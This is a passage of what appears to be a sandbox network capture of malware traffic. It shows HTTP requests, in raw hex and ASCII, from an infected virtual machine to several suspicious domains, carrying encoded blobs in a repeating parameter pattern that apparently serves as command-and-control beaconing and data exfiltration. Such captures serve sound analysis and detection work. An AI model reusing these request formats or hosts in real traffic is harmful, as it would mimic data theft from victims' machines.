Jan 9, 2025 16:57:58.347882032 CET	910	IN	HTTP/1.1 404 Not Found Date: Thu, 09 Jan 2025 15:57:58 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DnnF83MshvNWhunqlYjFBVtSSDHeezi9y%2FfglLtwhYbufnIIrSg9HZsg9z04dXexydWa07AfZxi8WZv2zilxPTF2Xf7ZaaufoPn8PHRc2ql4bQaoR%2FMHY7OjlU11TTd8OrPQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff5a0448a6a10ed-ORD Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=118564&min_rtt=118564&rtt_var=59282&sent=3&recv=6&lost=0&retrans=0&sent_bytes=0&recv_bytes=3936&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 36 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 f0 72 d9 24 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 19 86 76 36 fa 50 69 90 d9 45 76 30 c5 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 0b d9 61 33 92 00 00 00 0d 0a Data Ascii: 6d(HML),I310Q/Qp/Kr$T";Ctv6PiEv0yyr0.a3
Jan 9, 2025 16:57:58.347898006 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.11.30	49886	104.21.32.1	80

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:58:00.434335947 CET	535	OUT	GET /3u0p/?6B-l7F=s2YzwEkhsdaL/kJXp3k+A3KGmeJ3qBEv9AUKdpz0O4EFo1wYmv8+70PTeuLpJbel1HoKntoiuCCwLjgxW1UIuCv8mzvY6w9FRbC+/7SrF93BKOupqiEzChM=&80k=lRapCPMXgDk HTTP/1.1 Host: www.mzkd6gp5.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Jan 9, 2025 16:58:00.984829903 CET	928	IN	HTTP/1.1 404 Not Found Date: Thu, 09 Jan 2025 15:58:00 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kwE%2BxxjkBYKmn%2FLrgRASdSOP2JOWtsaIhHx7j8%2FGqIIdLoEVSqLZ2V46eevsA7lCP8j0G67TTIC9gRTIwQL8TB%2FHQ0CAkZAJWJfRPL0In0yZxGWstAsIG95aubTuckrO6%2BKp"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff5a0552864e269-ORD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=119652&min_rtt=119652&rtt_var=59826&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=535&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a Data Ascii: 92<html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Jan 9, 2025 16:58:00.984838963 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.11.30	49887	199.192.21.169	80

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:58:06.199731112 CET	793	OUT	POST /qps0/ HTTP/1.1 Host: www.bokus.site Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 203 Content-Type: application/x-www-form-urlencoded Origin: http://www.bokus.site Referer: http://www.bokus.site/qps0/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 36 42 2d 6c 37 46 3d 6c 63 58 74 63 50 4e 2b 46 4a 48 4a 32 4a 72 77 2f 65 56 54 2f 50 6a 54 68 4b 76 32 56 2b 4e 63 59 49 55 59 64 47 4c 71 62 67 50 74 6b 43 69 39 74 79 38 5a 30 6d 68 73 47 38 32 2b 73 6b 67 6c 79 4d 6f 6f 53 73 6c 36 4f 31 51 61 69 50 4a 63 32 63 70 39 4b 48 5a 4e 6f 46 4e 58 4a 5a 31 35 4c 6c 44 6d 34 43 32 51 5a 4d 48 6b 37 47 50 33 5a 75 6b 55 78 72 4f 6b 49 65 56 30 59 31 32 5a 6a 68 67 67 55 39 6d 46 2b 57 44 56 63 63 4b 44 48 4b 37 36 31 58 72 41 75 4b 76 68 35 7a 6d 70 39 45 39 43 4b 2f 7a 47 75 4e 6c 31 62 55 41 74 66 4d 6c 46 63 2b 69 2b 69 59 4c 76 64 49 63 42 76 41 3d 3d Data Ascii: 6B-l7F=lcXtcPN+FJHJ2Jrw/eVT/PjThKv2V+NcYIUYdGLqbgPtkCi9ty8Z0mhsG82+skglyMooSsl6O1QaiPJc2cp9KHZNoFNXJZ15LlDm4C2QZMHk7GP3ZukUxrOkIeV0Y12ZjhggU9mF+WDVccKDHK761XrAuKvh5zmp9E9CK/zGuNl1bUAtfMlFc+i+iYLvdIcBvA==
Jan 9, 2025 16:58:06.392939091 CET	918	IN	HTTP/1.1 404 Not Found Date: Thu, 09 Jan 2025 15:58:06 GMT Server: Apache Content-Length: 774 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/style404.css" /></head><body><div id="notfound"><div class="notfound"><div class="notfound-404"><h1>4<span>0</span>4</h1></div><h2>the page you requested could not found</h2><form class="notfound-search"><input type="text" placeholder="Search..."><button type="button"><span></span></button></form></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.11.30	49888	199.192.21.169	80

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:58:08.913022041 CET	813	OUT	POST /qps0/ HTTP/1.1 Host: www.bokus.site Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 223 Content-Type: application/x-www-form-urlencoded Origin: http://www.bokus.site Referer: http://www.bokus.site/qps0/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 36 42 2d 6c 37 46 3d 6c 63 58 74 63 50 4e 2b 46 4a 48 4a 35 4e 58 77 38 35 42 54 75 2f 6a 55 38 36 76 32 62 65 4e 59 59 49 59 59 64 44 79 79 62 53 72 74 71 41 71 39 73 78 6b 5a 33 6d 68 73 56 38 32 37 69 45 67 79 79 4d 6b 4b 53 6f 6c 36 4f 32 73 61 69 4f 35 63 78 72 64 2b 49 58 5a 50 78 31 4e 56 44 35 31 35 4c 6c 44 6d 34 43 79 32 5a 4d 66 6b 37 57 66 33 66 38 41 62 37 4c 4f 6e 42 2b 56 30 50 46 32 64 6a 68 68 4e 55 38 71 76 2b 51 48 56 63 59 4f 44 48 59 54 31 67 6e 72 47 71 4b 75 4f 34 41 37 45 31 6e 6c 31 62 75 48 69 32 75 78 74 65 44 74 33 43 50 52 48 50 65 65 54 2b 5a 6d 48 66 4b 64 61 79 45 45 43 62 77 4d 2b 74 52 6e 6a 61 2b 4d 6d 2f 5a 35 7a 51 7a 49 3d Data Ascii: 6B-l7F=lcXtcPN+FJHJ5NXw85BTu/jU86v2beNYYIYYdDyybSrtqAq9sxkZ3mhsV827iEgyyMkKSol6O2saiO5cxrd+IXZPx1NVD515LlDm4Cy2ZMfk7Wf3f8Ab7LOnB+V0PF2djhhNU8qv+QHVcYODHYT1gnrGqKuO4A7E1nl1buHi2uxteDt3CPRHPeeT+ZmHfKdayEECbwM+tRnja+Mm/Z5zQzI=
Jan 9, 2025 16:58:09.106559992 CET	918	IN	HTTP/1.1 404 Not Found Date: Thu, 09 Jan 2025 15:58:09 GMT Server: Apache Content-Length: 774 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/style404.css" /></head><body><div id="notfound"><div class="notfound"><div class="notfound-404"><h1>4<span>0</span>4</h1></div><h2>the page you requested could not found</h2><form class="notfound-search"><input type="text" placeholder="Search..."><button type="button"><span></span></button></form></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.11.30	49889	199.192.21.169	80

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:58:11.627082109 CET	2578	OUT	POST /qps0/ HTTP/1.1 Host: www.bokus.site Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 3339 Content-Type: application/x-www-form-urlencoded Origin: http://www.bokus.site Referer: http://www.bokus.site/qps0/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 36 42 2d 6c 37 46 3d 6c 63 58 74 63 50 4e 2b 46 4a 48 4a 35 4e 58 77 38 35 42 54 75 2f 6a 55 38 36 76 32 62 65 4e 59 59 49 59 59 64 44 79 79 62 53 6a 74 71 31 6d 39 6a 77 6b 5a 32 6d 68 73 57 38 32 41 69 45 67 76 79 4d 38 4f 53 6f 67 42 4f 7a 67 61 6a 6f 74 63 77 5a 31 2b 53 48 5a 50 73 46 4e 57 4a 5a 30 37 4c 6c 7a 69 34 42 61 32 5a 4d 66 6b 37 55 58 33 4a 65 6b 62 30 72 4f 6b 49 65 56 6f 59 31 32 35 6a 6e 49 34 55 38 2f 61 2b 57 62 56 64 70 65 44 48 72 37 31 67 6e 72 47 6e 71 75 4c 34 41 33 5a 31 6e 74 59 62 76 4f 56 32 2b 56 74 66 33 38 38 57 2f 67 5a 64 2f 44 63 32 6f 47 35 66 4c 70 77 7a 32 59 62 62 77 67 37 39 44 2f 4f 44 2f 73 49 37 37 5a 37 55 32 42 4f 37 54 34 48 5a 74 41 75 43 38 61 74 54 50 68 6a 38 4b 38 47 56 4d 6d 55 74 72 42 44 7a 36 78 43 4f 52 4e 79 59 78 42 51 48 62 6f 47 69 79 2b 33 62 4a 48 79 50 45 55 50 45 72 4e 4a 57 46 59 35 33 5a 6f 51 4d 68 4d 63 54 77 6f 59 68 6f 76 69 54 49 35 38 32 61 55 34 43 51 36 37 53 53 31 76 64 73 58 53 74 52 76 2b 76 68 38 55 62 6c 71 6e 6f 76 32 [TRUNCATED] Data Ascii: 6B-l7F=lcXtcPN+FJHJ5NXw85BTu/jU86v2beNYYIYYdDyybSjtq1m9jwkZ2mhsW82AiEgvyM8OSogBOzgajotcwZ1+SHZPsFNWJZ07Llzi4Ba2ZMfk7UX3Jekb0rOkIeVoY125jnI4U8/a+WbVdpeDHr71gnrGnquL4A3Z1ntYbvOV2+Vtf388W/gZd/Dc2oG5fLpwz2Ybbwg79D/OD/sI77Z7U2BO7T4HZtAuC8atTPhj8K8GVMmUtrBDz6xCORNyYxBQHboGiy+3bJHyPEUPErNJWFY53ZoQMhMcTwoYhoviTI582aU4CQ67SS1vdsXStRv+vh8Ublqnov25i2a05JwCCuayX5Tiv3Q9r0l2Fk9jAwMH1wZw7MU2xc22Q9Xoy62a9L7gbvjufuA9onDxUPyGflXzVBnC+4/TasnwSZGBNGoCy37jJpOZkCIQuGZCMDoKecPAkvMmOZj7oEIfj+U3iIJAITGmTg3kriOwwkDRkuKDeUzyxDHv6u5TkqIQkWiPtqB8GtCaX8ayvIk2j2WjKdpy+U+X3hfV4K3LZblCI2wnCdc24Y07fRW3+xG2g6IRWSCf+N0ifbV4QjMETcMjNAtEnGxuxZ/couwq84+S08yllM2dxP5zJEhXSJ6nKM3bqgFzB9yKX5Wp7L6u+vEl7lZprIcYbY+HuE8GqEwAiy40/X+djjFtvLcJcfKpcuixYlHFPwn8G2Gh7eYBkSPwrsRW5n7fEvq8akP2xwma/LBhahgevVwbCp/1IWFoBtTD2y630B2+0fpRwZB2ZHwjruH9Kc6+bqQnqqW9i0CFFbV5GIgY6VF186XPC/VviO4JPKeLtAakEyKtFyNlSfdorXtJC7tIGguxzTHXVXta0oYY54uIuzAaYa2axOJlmDLXOupbXS+8KM+jblMR6xqA+1leyw+Lhp3ZNn+cFFnkpisDYQyYm6yp/ZolbX31B/sRwEHD9FxPCxJGulJuq4hEcFVhEda0jAk7pqWJo7eXrhMWK [TRUNCATED]
Jan 9, 2025 16:58:11.627146959 CET	1352	OUT	Data Raw: 47 53 65 75 37 63 75 42 76 70 74 36 59 33 30 47 62 42 57 44 35 65 70 7a 63 4a 61 4f 53 71 78 35 62 71 71 46 6a 4a 4f 31 52 5a 33 61 2f 4a 2f 2f 78 68 78 39 41 58 6f 68 41 50 73 42 2f 6e 68 37 6c 51 6b 76 6e 55 72 43 30 59 6a 44 38 74 35 75 76 4a Data Ascii: GSeu7cuBvpt6Y30GbBWD5epzcJaOSqx5bqqFjJO1RZ3a/J//xhx9AXohAPsB/nh7lQkvnUrC0YjD8t5uvJH+btWLlkM5T++pBUQ57tsNVA25ZzYgNS9RHwBLeXsMQCl1VLVt7rV7Ule2JzZukKpuKoTaiQijN4V6v5WrCsKUfUXnwhlGUX+vMWIlAoMw/PWjcHnvseFjA8OX1jj+yoW515+tok/RZwFLSS3I98ReNPwgY/iFRDm
Jan 9, 2025 16:58:11.813493967 CET	918	IN	HTTP/1.1 404 Not Found Date: Thu, 09 Jan 2025 15:58:11 GMT Server: Apache Content-Length: 774 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/style404.css" /></head><body><div id="notfound"><div class="notfound"><div class="notfound-404"><h1>4<span>0</span>4</h1></div><h2>the page you requested could not found</h2><form class="notfound-search"><input type="text" placeholder="Search..."><button type="button"><span></span></button></form></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.11.30	49890	199.192.21.169	80

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:58:14.340969086 CET	533	OUT	GET /qps0/?6B-l7F=oe/Nf5ZxPavzyNCN5fJJ2OrxgayHc7sFQb4gcz6uUjnOuiLJkTwk1EFGD/G87FIa6dxrZOgAQGccmvtK4ohyPgEShywSULdIISv/2iuVOPOn5EuQA8dSwoA=&80k=lRapCPMXgDk HTTP/1.1 Host: www.bokus.site Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Jan 9, 2025 16:58:14.524734020 CET	933	IN	HTTP/1.1 404 Not Found Date: Thu, 09 Jan 2025 15:58:14 GMT Server: Apache Content-Length: 774 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/style404.css" /></head><body><div id="notfound"><div class="notfound"><div class="notfound-404"><h1>4<span>0</span>4</h1></div><h2>the page you requested could not found</h2><form class="notfound-search"><input type="text" placeholder="Search..."><button type="button"><span></span></button></form></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.11.30	49891	47.83.1.90	80

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:58:28.098572969 CET	796	OUT	POST /nkmx/ HTTP/1.1 Host: www.givvjn.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 203 Content-Type: application/x-www-form-urlencoded Origin: http://www.givvjn.info Referer: http://www.givvjn.info/nkmx/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 36 42 2d 6c 37 46 3d 54 57 34 48 59 51 4d 64 49 4b 6e 30 44 71 4f 73 54 55 66 46 65 6a 79 37 35 43 77 54 35 41 39 45 73 5a 7a 53 70 32 59 68 49 71 6b 70 43 55 75 4c 76 33 65 2b 7a 61 6b 72 30 39 67 4f 34 35 49 72 4e 62 6c 48 6b 78 66 31 75 77 56 61 73 4c 45 58 52 49 4b 66 42 64 76 4b 59 63 72 47 37 7a 49 39 6d 44 55 49 76 4f 30 71 48 74 4c 38 45 6b 43 5a 56 77 4c 76 4f 4c 4c 2b 67 4f 50 51 37 44 6f 30 33 34 31 2b 6f 53 31 7a 31 78 6d 4d 75 57 47 42 77 4b 78 58 48 72 42 41 44 6f 65 50 6f 39 57 38 58 75 38 52 71 4d 57 38 71 2b 6b 69 51 37 4e 45 4b 71 36 34 51 64 75 31 2b 36 56 72 6e 63 57 42 4e 41 3d 3d Data Ascii: 6B-l7F=TW4HYQMdIKn0DqOsTUfFejy75CwT5A9EsZzSp2YhIqkpCUuLv3e+zakr09gO45IrNblHkxf1uwVasLEXRIKfBdvKYcrG7zI9mDUIvO0qHtL8EkCZVwLvOLL+gOPQ7Do0341+oS1z1xmMuWGBwKxXHrBADoePo9W8Xu8RqMW8q+kiQ7NEKq64Qdu1+6VrncWBNA==
Jan 9, 2025 16:58:29.108926058 CET	137	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Thu, 09 Jan 2025 15:58:28 GMT Transfer-Encoding: chunked Connection: close Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.11.30	49892	47.83.1.90	80

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:58:30.949297905 CET	816	OUT	POST /nkmx/ HTTP/1.1 Host: www.givvjn.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 223 Content-Type: application/x-www-form-urlencoded Origin: http://www.givvjn.info Referer: http://www.givvjn.info/nkmx/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 36 42 2d 6c 37 46 3d 54 57 34 48 59 51 4d 64 49 4b 6e 30 43 4c 2b 73 65 57 33 46 57 6a 79 36 31 69 77 54 7a 67 39 41 73 5a 50 53 70 79 68 38 4c 59 51 70 43 78 53 4c 75 31 32 2b 32 61 6b 72 38 64 67 50 6c 70 49 77 4e 62 59 6b 6b 31 58 31 75 77 78 61 73 4b 30 58 52 2f 2b 59 48 4e 76 49 55 38 72 45 2f 7a 49 39 6d 44 55 49 76 50 51 41 48 74 44 38 44 55 79 5a 58 53 7a 73 52 37 4c 68 6a 4f 50 51 74 7a 6f 77 33 34 31 63 6f 58 73 57 31 7a 4f 4d 75 54 69 42 78 59 4a 49 4f 72 42 4b 4d 49 66 4c 6b 34 7a 70 62 4e 77 6c 71 71 61 59 72 73 59 49 63 4d 67 65 58 70 4f 36 44 39 53 59 69 37 34 44 6c 65 58 61 51 45 59 46 46 41 4c 71 46 34 76 45 6d 7a 64 31 4c 4c 46 4e 32 68 55 3d Data Ascii: 6B-l7F=TW4HYQMdIKn0CL+seW3FWjy61iwTzg9AsZPSpyh8LYQpCxSLu12+2akr8dgPlpIwNbYkk1X1uwxasK0XR/+YHNvIU8rE/zI9mDUIvPQAHtD8DUyZXSzsR7LhjOPQtzow341coXsW1zOMuTiBxYJIOrBKMIfLk4zpbNwlqqaYrsYIcMgeXpO6D9SYi74DleXaQEYFFALqF4vEmzd1LLFN2hU=
Jan 9, 2025 16:58:31.945035934 CET	137	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Thu, 09 Jan 2025 15:58:31 GMT Transfer-Encoding: chunked Connection: close Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.11.30	49893	47.83.1.90	80

Timestamp	Bytes transferred	Direction	Data
